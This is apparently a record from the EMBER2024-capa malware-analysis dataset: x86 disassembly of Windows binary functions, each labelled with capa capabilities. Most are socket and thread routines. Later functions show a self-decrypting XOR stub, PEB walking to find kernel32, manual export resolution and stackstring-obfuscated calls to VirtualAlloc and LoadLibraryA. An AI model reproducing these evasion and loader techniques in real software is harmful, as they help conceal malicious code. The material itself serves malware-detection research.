joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407c00
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x40f018]
xor eax, ebp
mov dword [ebp - 4], eax
push 1
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x4dc4ac], eax
cmp eax, 0xffffffff
jne 0x407c52
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketTCP__WSASocket___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040908b
mov esp, ebp
pop ebp
ret
mov eax, 2
push 0
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htonl]
movzx ecx, word [0x4dc4b4]
push ecx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x14]
mov word [ebp - 0x12], ax
mov eax, dword [0x4dc4ac]
push edx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x407cb5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketTCP__bind___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040908b
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4dc4ac]
push 5
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x407cef
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketTCP__listen___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040908b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
call fcn.0040908b
mov esp, ebp
pop ebp
ret

Function at 0x407d00
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407d2e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketTCP__socket___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
pop esi
ret
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4dc4b0], eax
test eax, eax
jne 0x407d65
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__CreateIoCompletionPort___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
ret
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
pop esi
ret

Function at 0x407d70
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0x4dc4a8
push 0x408680
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4dc4b8], eax
test eax, eax
jne 0x407daa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__CreateThread___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
ret
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
jne 0x407dd0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__SetThreadPriority___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
ret
mov al, 1
ret
Function at 0x407de0
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x10]
cmp eax, 8
jbe 0x407dfd
mov eax, 8
push ebx
push esi
push edi
xor edi, edi
mov dword [0x4dc4dc], eax
test eax, eax
je 0x407e49
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, 0x4dc4bc
push 0
push 0
push 0x4dc4a8
push 0x408810
push 0
push 0
call ebx
mov dword [esi], eax
test eax, eax
je 0x407e52
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
je 0x407e71
inc edi
add esi, 4
cmp edi, dword [0x4dc4dc]
jb 0x407e16
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__CreateThread___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__SetThreadPriority___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407e90
Capabilities:
Create thread

Disassembly:
push 0
push 0x800
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov dword [0x4dc518], eax
test eax, eax
jne 0x407ec3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__CreateSemaphore___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
ret
push 0
push 0
push 0x4dc4a8
push 0x408900
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4dc51c], eax
test eax, eax
jne 0x407efd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__CreateThread___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
ret
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
jne 0x407f23
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SocketTCP__SetThreadPriority___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
xor al, al
ret
mov al, 1
ret
Function at 0x408150
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push 0x4dc524
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
test esi, esi
js 0x4081bb
xor eax, eax
cmp esi, 0x14
setl al
test eax, eax
je 0x4081bb
mov edi, esi
imul edi, edi, 0x70
add edi, 0x4dbbe8
mov eax, dword [edi + 4]
test eax, eax
js 0x4081bb
xor ecx, ecx
cmp eax, 0x14
setl cl
mov eax, ecx
test eax, eax
je 0x4081bb
cmp dword [edi + 8], 0
je 0x4081bb
cmp dword [edi + 0x1c], 0xffffffff
je 0x4081bb
cmp ebx, 0x2000
jle 0x4081d0
push ebx
push esi
push str._SocketTCP__Max_msg_size__Type:_1__Index:__d__Size:__d_
push 1
call fcn.00408d60
add esp, 0x10
push 0x4dc524
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov esi, dword [edi + 0x24]
cmp dword [esi + 0x20], 0
jle 0x40824f
mov eax, dword [esi + 0x12028]
lea ecx, [eax + ebx]
cmp ecx, 0x10000
jle 0x40821f
mov esi, dword [ebp + 8]
push ecx
push esi
push str._SocketTCP__Max_msg_size__Type:_2__Index:__d__Size:__d_
push 1
call fcn.00408d60
add esp, 0x10
mov eax, esi
mov ecx, 0x4dc4a8
call fcn.004082d0
push 0x4dc524
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
push ebx
push edx
lea eax, [eax + esi + 0x2028]
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
add dword [esi + 0x12028], ebx
push 0x4dc524
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push ebx
lea eax, [esi + 0x24]
push ecx
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
xor ecx, ecx
push ecx
push esi
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [esi + 0x24]
mov dword [esi + 0x18], eax
lea eax, [esi + 0x14]
push 1
mov dword [eax], ebx
mov dword [esi + 0x1c], 1
mov dword [esi + 0x20], ebx
mov dword [esi + 0x2024], ecx
push eax
mov eax, dword [edi + 0x1c]
push eax
mov dword [ebp - 4], ecx
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x40823a
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x40823a
call esi
push eax
push str._SocketTCP__WSASend___failed_with_error:__d
push 1
call fcn.00408d60
mov eax, dword [ebp + 8]
add esp, 0xc
jmp 0x408200
Function at 0x408370
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, dword [ebp + 8]
add edi, 0x7c
push edi
mov esi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test ebx, ebx
js 0x4083ab
xor eax, eax
cmp ebx, 0x14
setl al
test eax, eax
je 0x4083ab
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x4083ba
mov ecx, dword [ebp + 8]
mov eax, ebx
call fcn.004082d0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
add dword [esi + 0x2024], eax
mov eax, dword [ebp + 8]
push ebx
lea edi, [esi + 0x24]
push eax
call fcn.00407f30
test al, al
jne 0x4083ed
mov ecx, dword [ebp + 8]
mov eax, ebx
call fcn.004082d0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x2024]
lea edx, [eax + esi + 0x24]
mov dword [esi + 0x18], edx
mov edx, 0x2000
sub edx, eax
xor eax, eax
push eax
mov dword [esi + 0x1c], eax
push esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, ebx
lea ecx, [esi + 0x14]
imul eax, eax, 0x70
mov dword [ecx], edx
lea edx, [ebp - 0xc]
push edx
push 1
push ecx
mov ecx, dword [eax + 0x4dbc04]
push ecx
call dword [sym.imp.WS2_32.dll_WSARecv]
cmp eax, 0xffffffff
jne 0x408472
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x408472
call esi
push eax
push str._SocketTCP__WSARecv___failed_with_error:__d
push 1
call fcn.00408d60
mov ecx, dword [ebp + 8]
add esp, 0xc
mov eax, ebx
call fcn.004082d0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x408490
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea edi, [ebx + 0x7c]
push edi
mov esi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 0xc]
test eax, eax
js 0x4084cc
xor ecx, ecx
cmp eax, 0x14
setl cl
test ecx, ecx
je 0x4084cc
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jne 0x4084dc
mov ecx, ebx
call fcn.004082d0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
add dword [esi + 0x2024], ecx
mov ecx, dword [esi + 0x2024]
mov ebx, eax
mov eax, dword [esi + 0x20]
imul ebx, ebx, 0x70
add ebx, 0x4dbbe8
cmp ecx, eax
jl 0x4085c0
mov eax, dword [esi + 0x12028]
test eax, eax
jg 0x40851f
push edi
mov dword [esi + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [esi + 0x24]
cmp eax, 0x2000
jle 0x40858e
lea eax, [esi + 0x2028]
push 0x2000
push eax
push edi
call sub.MSVCR100.dll_memcpy
mov eax, dword [esi + 0x12028]
sub eax, 0x2000
push eax
lea ecx, [esi + 0x4028]
mov dword [esi + 0x18], edi
push ecx
lea eax, [esi + 0x2028]
lea edi, [esi + 0x14]
push eax
mov dword [edi], 0x2000
mov dword [esi + 0x1c], 1
mov dword [esi + 0x20], 0x2000
mov dword [esi + 0x2024], 0
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0x18
add dword [esi + 0x12028], 0xffffe000
jmp 0x4085d5
push eax
lea edx, [esi + 0x2028]
push edx
push edi
call sub.MSVCR100.dll_memcpy
mov eax, dword [esi + 0x12028]
mov dword [esi + 0x18], edi
lea edi, [esi + 0x14]
add esp, 0xc
mov dword [edi], eax
mov dword [esi + 0x20], eax
xor eax, eax
mov dword [esi + 0x2024], eax
mov dword [esi + 0x12028], eax
jmp 0x4085ce
lea edx, [ecx + esi + 0x24]
lea edi, [esi + 0x14]
sub eax, ecx
mov dword [esi + 0x18], edx
mov dword [edi], eax
mov dword [esi + 0x1c], 1
mov ecx, dword [ebx + 0x1c]
push 0
push esi
push 0
lea eax, [ebp - 8]
push eax
push 1
push edi
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x408636
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x408636
call esi
push eax
push str._SocketTCP__WSASend___failed_with_error:__d
push 1
call fcn.00408d60
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
add esp, 0xc
call fcn.004082d0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x408a30
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x18]
mov dword [esi], vtable.CSocketManagerUdp.0
test eax, eax
je 0x408a5d
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x408a73
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
test byte [ebp + 8], 1
je 0x408a83
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x408a90
Capabilities:
Create udp socket
Resolve dns
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 2
push 2
mov esi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4107ec], eax
cmp eax, 0xffffffff
jne 0x408b0c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketUDP__WSASocket___failed_with_error:__d
push 1
call fcn.00408d60
mov eax, dword [0x410800]
add esp, 0xc
test eax, eax
je 0x408aea
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x410800]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x410800], 0
mov eax, dword [0x4107ec]
cmp eax, 0xffffffff
je 0x408b05
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x4107ec], 0xffffffff
xor al, al
pop esi
pop ebp
ret 4
mov ecx, 2
push esi
mov word [0x4107f0], cx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edx, dword [ebp + 8]
push edx
mov dword [0x4107f4], eax
call dword [sym.imp.WS2_32.dll_htons]
cmp dword [0x4107f4], 0xffffffff
mov word [0x4107f2], ax
jne 0x408b87
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x408b6f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._SocketUDP__gethostbyname___failed_with_error:__d
push 1
call fcn.00408d60
add esp, 0xc
mov esi, 0x4107e8
call fcn.00408bb0
xor al, al
pop esi
pop ebp
ret 4
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
push 0x4107f4
call sub.MSVCR100.dll_memcpy
add esp, 0xc
push 0x1000
push 0
push 0x411808
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [0x412808], 0
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x408bb0
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esi + 0x18]
test eax, eax
je 0x408bd1
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x408be7
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
ret
Function at 0x408bf0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4107ec], 0xffffffff
push esi
mov esi, eax
je 0x408c3a
mov eax, dword [0x412808]
lea ecx, [eax + esi]
push esi
cmp ecx, 0x1000
jle 0x408c41
push str._SocketUDP__Max_msg_size__Size:__d_
push 1
call fcn.00408d60
push 0x1000
push 0
push 0x411808
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [0x412808], 0
xor al, al
pop esi
pop ebp
ret 4
mov edx, dword [ebp + 8]
push edx
lea eax, [eax + 0x411808]
push eax
call sub.MSVCR100.dll_memcpy
mov eax, dword [0x412808]
mov ecx, dword [0x4107ec]
add esp, 0xc
push 0x10
push 0x4107f0
push 0
add eax, esi
push eax
push 0x411808
push ecx
mov dword [0x412808], eax
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x408c9d
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2733
je 0x408cc1
call esi
push eax
push str._SocketUDP__sendto___failed_with_error:__d
jmp 0x408c15
mov ecx, dword [0x412808]
sub ecx, eax
push ecx
lea edx, [eax + 0x411808]
push edx
push 0x411808
mov dword [0x412808], ecx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x408cd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x40f018]
xor eax, ebp
mov dword [ebp - 4], eax
jmp 0x408cf5
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCR100.dll_memset
mov edx, dword [ebp + 8]
lea ecx, [ebp + 0xc]
push ecx
push edx
lea eax, [ebp - 0x104]
push pe_nt_image_headers32
push eax
call dword [sym.imp.MSVCR100.dll_vsprintf_s]
add esp, 0x1c
push 0x10
push str.Error
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x408d4d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40908b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40f018]
jne 0x409095
repz ret
jmp fcn.004095c4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402f09
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x402fbd
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00402e99
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x402f96
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402fc9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x402fe4
test ebp, ebp
je 0x402fe4
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x402fec
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40302c
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x403088
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x403083
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40306e
test dl, dl
je 0x40306a
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40306e
add ecx, 2
add eax, 2
test dl, dl
jne 0x40304e
xor eax, eax
jmp 0x403073
sbb eax, eax
or eax, 1
test eax, eax
je 0x403092
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40303b
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x4030a9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.00402f09
test eax, eax
jne 0x4030c1
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.00402fc9
mov esi, eax
test esi, esi
jne 0x4030f7
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x403111
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x403209
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.00402f09
mov esi, eax
test esi, esi
jne 0x403227
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.00402fc9
mov dword [esp + 0x18], eax
test eax, eax
je 0x40321f
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.00402fc9
mov dword [esp + 0x34], eax
test eax, eax
je 0x40321f
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.00402fc9
mov dword [esp + 0x28], eax
test eax, eax
je 0x40321f
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.00402fc9
mov dword [esp + 0x30], eax
test eax, eax
je 0x40321f
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x4033ee
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x4033ee
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x403351
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x4033d2
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x403374
movzx esi, ax
jmp 0x403379
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x403398
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x4033a7
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x4033fb
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x403369
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x40332e
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x403424
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x403424
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x403409
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret